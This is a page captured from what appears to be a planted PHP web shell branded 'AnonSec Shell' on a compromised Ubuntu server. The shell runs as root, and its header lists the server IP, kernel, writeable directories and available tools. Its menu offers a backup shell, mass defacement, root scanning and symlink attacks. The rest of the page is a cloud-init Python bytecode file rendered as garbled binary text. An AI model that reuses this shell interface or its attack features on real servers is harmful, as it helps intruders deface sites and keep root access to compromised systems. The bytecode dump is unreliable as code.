AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/mergers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/mergers/__pycache__/m_dict.cpython-310.pyc
o

x[h{
�@s&dZdefZdd�ZGdd�d�ZdS)�
no_replace�replacecGs|D]	}||vrdSqdS)NTF�)�what�keys�krr�:/usr/lib/python3/dist-packages/cloudinit/mergers/m_dict.py�_has_anys
�rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�MergercCsT||_t|_tD]}||vr||_nqd|v|_t|dd�|_d|v|_d|_dS)N�recurse_str�
recurse_array�recurse_list�allow_deleteT)	�_merger�DEF_MERGE_TYPE�_method�MERGE_TYPES�_recurse_strr�_recurse_array�
_allow_delete�
_recurse_dict)�self�merger�opts�mrrr�__init__s�


zMerger.__init__cCs$d}||j|j|j|j|jf}|S)NzWDictMerger: (method=%s,recurse_str=%s,recurse_dict=%s,recurse_array=%s,allow_delete=%s))rrrrr)r�srrr�__str__%s��zMerger.__str__csb��fdd�}|��D]#\}}||vr*|dur �jr |�|�q||||�||<q|||<q|S)Ncsj�r|St|ttf�r�jr�j�||�St|t�r$�jr$�j�||�St|t�r3�j	r3�j�||�S|S)N)
�
isinstance�list�tuplerr�merge�strr�dictr)�old_v�new_v��
do_replacerrr�merge_same_key4sz/Merger._do_dict_replace.<locals>.merge_same_key)�itemsr�pop)r�value�
merge_withr&r'r�vrr%r�_do_dict_replace3s
zMerger._do_dict_replacecCs\t|t�s|S|jdkr|�t|�|d�}|S|jdkr'|�t|�|d�}|Std|j��)NrTrFzUnknown merge type %s)rr"rr-�NotImplementedError)rr*r+�mergedrrr�_on_dictJs


��zMerger._on_dictN)�__name__�
__module__�__qualname__rrr-r0rrrrr	s
r	N)rrrr	rrrr�<module>s�

Anon7 - 2022
AnonSec Team